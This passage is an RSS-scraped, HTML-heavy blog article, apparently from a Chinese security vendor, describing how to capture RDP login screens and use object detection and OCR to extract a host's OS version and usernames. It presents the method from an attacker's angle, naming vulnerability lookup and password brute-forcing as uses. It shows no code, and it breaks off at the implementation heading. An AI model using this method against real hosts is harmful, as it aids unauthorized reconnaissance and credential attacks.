0.544px;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(27, 110, 201);letter-spacing: 2px;">引领智能网络攻防科技</span></section><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(27, 110, 201);"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="mp_profile_iframe_wrp" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="27" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1"></mp-common-profile></section><section style="margin: 15px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">点击</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin: 5px 0px 15px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">分享给小伙伴</span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;">↓</span>↓点击</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);">，了解更多墨云信息</span></span></section></section>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ea556a65&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247484855%26idx%3D1%26sn%3D35cbffc6a2cbfa5e5c49838980789d12%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 Aug 2022 16:00:00 +0800</pubDate>
    </item>
    <item>
      <title>基于RDP协议识别主机操作系统版本与用户名</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484806&amp;idx=1&amp;sn=c9de71d7e2e645d5dcce48da185c4014</link>
      <description>网络安全攻防技术必将愈发体现出人工智能及机器学习介入的影响，未来的网络安全将会越来越多地出现AI vs AI的攻防局面，墨云将一直专注人工智能在攻防安全领域的应用研究，打造智能化产品体系，为用户提供全方位的信息安全服务。</description>
      <content:encoded><![CDATA[<p>
原创 <span>阿布</span> <span>2022-08-11 19:04</span> <span style="display: inline-block;">北京</span>
</p>

<p>网络安全攻防技术必将愈发体现出人工智能及机器学习介入的影响，未来的网络安全将会越来越多地出现AI vs AI的攻防局面，墨云将一直专注人工智能在攻防安全领域的应用研究，打造智能化产品体系，为用户提供全方位的信息安全服务。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=18290dbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZ1pNqhhiclnIcm9rm1mcB7m3bjQ0ECQkIJNtrhtkXV9jEnMdibcibiaReHw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;"></span></strong></section><section style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 84px !important;" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=ef3468d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;">V-lab实验室</span></strong></section><section style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"/></section><section style="margin: 0px 8px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;font-size: 16px;letter-spacing: 0.544px;widows: 1;visibility: visible !important;width: 67.691px !important;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;padding: 0px;outline: 0px;font-weight: bold;font-size: 1.75em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-indent: 0em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><strong style="font-size: 1.75em;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">RDP协议（Remote desktop protocol）</span></strong><span style="font-size: 1.75em;letter-spacing: 0.544px;text-indent: 0em;"></span><br/></h2><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="background-color: rgb(255, 255, 255);font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">RDP（remote desktop protocol）桌面远程传输协议，是一个多通道的协议，可以让用户连接上提供微软终端机服务的电脑。</span><span style="background-color: rgb(255, 255, 255);font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">RDP协议大部分被应用在Windows操作系统中，当然也包括linux，freebsc，mac os</span><span style="background-color: rgb(255, 255, 255);font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"> </span><span style="background-color: rgb(255, 255, 255);font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">x在内的其他系统。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><span style="background-color: rgb(255, 255, 255);">公司员工在出差或者居家办公期间，可以使用远程桌面软件访问其办公计算机，这样一来提高了办公效率，但也</span>带来<span style="background-color: rgb(255, 255, 255);">了很多安全风险隐患。</span></span><span style="background-color: rgb(255, 255, 255);font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">如果攻击者通过RDP协议获取到目标主机的操作系统版本、用户名多维度信息，便可以直接搜索操作系统版本相应的漏洞并利用其实施密码爆破，大大提高了黑客获取目标主机操控权限的概率。</span><span style="background-color: rgb(255, 255, 255);font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"> </span></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;padding: 0px;font-weight: bold;font-size: 1.75em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;text-indent: 0em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-size: 1.75em;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">基于RDP协议的识别方法</span></strong><br style="margin: 0px;padding: 0px;"/></h2><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">识别方法概述</span></strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">当前最普遍的操作系统识</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">别方法主要是基于规则匹配的方法。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">例如：</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">利用</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">N</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">map</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">扫描目标主机，通过获取网络中传输和接收的数据包信息与它已经创建的规则库进行特征匹配，进行快速识别。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">但目标主机所处的网络环境会影响数据包信息质量，导致操作系统版本识别准确率较低；</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">另外，单靠</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">Nmap等扫描工具探测维度不够，获取信息有限，无法获取目标主机用户名信息。</span></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;letter-spacing: 0.544px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">解决思路</span></strong><span style="margin: 0px;padding: 0px;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">以虚拟的攻，促真实的防。站在攻击者的角度，解决问题的思路如下：通过RDP协议获取到目标主机的远程桌面登录截图，利用目标检测算法获取目标主机的操作系统版本和用户名位置。考虑到用户名字符存在多种多样的形式，我们将识别到的用户名位置在宽、高上分别设置一定的像素偏差，然后将其裁剪出来，利用ocr模型识别出具体的字符。最后，汇总每个主机的操作系统版本与用户名信息进行返回。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZXT8va5jJVXssicHABzFQFfPczHoWsOz3gRTy4WiaFRXlM2RMhXdH3FrQ/640?wx_fmt=jpeg" data-cropx1="101.03979238754324" data-cropx2="600.0017301038062" data-cropy1="0" data-cropy2="602.4965397923875" data-ratio="1.2064128256513027" data-s="300,640" style="width: 342px;height: 413px;" data-type="jpeg" data-w="499" src="https://wechat2rss.xlab.app/img-proxy/?k=81def15f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZcvYicohUmd4DWUgsocyjOjHdumiatxxOjBZUPbNAPlqOmr5FzibzsWPjw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-size: 12px;">图1 基于RDP协议获取操作系统版本和用户名流程</span></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;letter-spacing: 0.544px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">实现方法</span></strong><span style="margin: 0px;padding: 0px;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;font-family: 宋体;font-size: 12pt;color: rgb(51, 51, 51);"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 4;text-align: justify;text-indent: 0px;text-transform: none;white-space: 